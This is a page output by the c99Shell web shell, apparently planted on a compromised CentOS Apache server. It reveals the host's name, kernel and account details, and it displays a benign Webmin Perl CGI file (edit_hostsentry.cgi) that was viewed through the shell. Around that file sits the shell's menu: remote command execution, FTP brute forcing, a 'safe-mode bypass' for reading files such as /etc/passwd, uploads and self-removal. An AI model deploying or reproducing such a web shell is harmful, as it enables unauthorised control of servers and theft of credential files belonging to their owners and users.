!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sentry/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_hostsentry.cgi (3.89 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_hostsentry.cgi
# Display hostsentry options

require './sentry-lib.pl';
&ui_print_header(undef, $text{'hostsentry_title'}, "", "hostsentry", 0, 0, undef,
    &help_search_link("hostsentry", "man", "doc"));

if (!-r $config{'hostsentry'}) {
    print "<p>",&text('hostsentry_ecommand',
              "<tt>$config{'hostsentry'}</tt>", 
              "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n";
    &ui_print_footer("", $text{'index_return'});
    exit;
    }

# Show configuration form
$conf = &get_hostsentry_config();

print "<form action=save_hostsentry.cgi method=post>\n";
print "<table border width=100%>\n";
print "<tr $tb> <td><b>$text{'hostsentry_header'}</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

# Show wtmp file
print "<tr> <td><b>$text{'hostsentry_wtmp'}</b></td>\n";
printf "<td colspan=3><input name=wtmp size=50 value='%s'> %s</td> </tr>\n",
    &find_value("WTMP_FILE", $conf),
    &file_chooser_button("wtmp");

# Show users to ignore
$ign = &find_value("IGNORE_FILE", $conf);
print "<tr> <td valign=top><b>$text{'hostsentry_ignore'}</b></td>\n";
print "<td colspan=3><textarea name=ignore rows=5 cols=40>";
open(IGN, $ign);
while(<IGN>) {
    s/#.*$//;
    s/\r|\n//g;
    print &html_escape($_),"\n" if (/\S/);
    }
close(IGN);
print "</textarea></td> </tr>\n";

# Show configured modules
$mods = &find_value("MODULE_FILE", $conf);
open(MODS, $mods);
while(<MODS>) {
    s/\r|\n//g;
    s/#.*$//;
    push(@mods, $_) if (/\S/);
    }
close(MODS);
@allmods = &list_hostsentry_modules($conf);
print "<tr> <td valign=top><b>$text{'hostsentry_mods'}</b></td>\n";
print "<td colspan=3 nowrap>\n";
for($i=0; $i<@allmods || $i<@mods; $i++) {
    print $i+1,". ";
    print "<select name=mod_$i>\n";
    printf "<option value='' %s>%s\n",
        $mods[$i] ? "" : "selected", "&nbsp;";
    foreach $a (@allmods) {
        local $t = $text{'mod_'.$a};
        printf "<option value=%s %s>%s\n",
            $a, $mods[$i] eq $a ? "selected" : "",
            $t ? $t : $a;
        }
    print "<option selected>$mods[$i]\n"
        if ($mods[$i] && &indexof($mods[$i], @allmods) < 0);
    print "</select>\n";
    print "<br>\n" if ($i%2);
    print "&nbsp;&nbsp;" if (!($i%2));
    }
print "</td> </tr>\n";

# Show module-specific options
print "</table><table width=100%>\n";
print "<tr>\n";
$basedir = &get_hostsentry_dir();
if (&indexof("moduleForeignDomain", @mods) >= 0) {
    print "<td valign=top colspan=2 width=50%><b>$text{'hostsentry_foreign'}</b><br>\n";
    print "<textarea name=foreign rows=5 cols=30>";
    open(FOREIGN, "$basedir/moduleForeignDomain.allow");
    while(<FOREIGN>) {
        s/\r|\n//g;
        s/#.*$//;
        print &html_escape($_),"\n" if (/\S/);
        }
    close(FOREIGN);
    print "</textarea></td>\n";
    }
if (&indexof("moduleMultipleLogins", @mods) >= 0) {
    print "<td valign=top colspan=2 width=50%><b>$text{'hostsentry_multiple'}</b><br>\n";
    print "<textarea name=multiple rows=5 cols=30>";
    open(MULTIPLE, "$basedir/moduleMultipleLogins.allow");
    while(<MULTIPLE>) {
        s/\r|\n//g;
        s/#.*$//;
        print &html_escape($_),"\n" if (/\S/);
        }
    close(MULTIPLE);
    print "</textarea></td>\n";
    }
print "</tr>\n";

print "</table></td></tr></table>\n";

$pid = &get_hostsentry_pid();
if ($pid) {
    print "<input type=submit name=apply value='$text{'hostsentry_save'}'></form>\n";
    }
else {
    print "<input type=submit value='$text{'save'}'></form>\n";
    }

# Show start/stop buttons
print &ui_hr();
print "<table width=100%>\n";
$cmd = &hostsentry_start_cmd();
if ($pid) {
    # Running .. offer to stop
    print "<form action=stop_hostsentry.cgi>\n";
    print "<tr> <td><input type=submit ",
          "value='$text{'hostsentry_stop'}'></td>\n";
    print "<td>$text{'hostsentry_stopdesc'}</td> </tr>\n";
    print "</form>\n";
    }
else {
    # Not running .. offer to start
    print "<form action=start_hostsentry.cgi>\n";
    print "<tr> <td><input type=submit ",
          "value='$text{'hostsentry_start'}'></td>\n";
    print "<td>",&text('hostsentry_startdesc', "<tt>$cmd</tt>"),
          "</td> </tr> </form>\n";
    }
print "</table>\n";

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--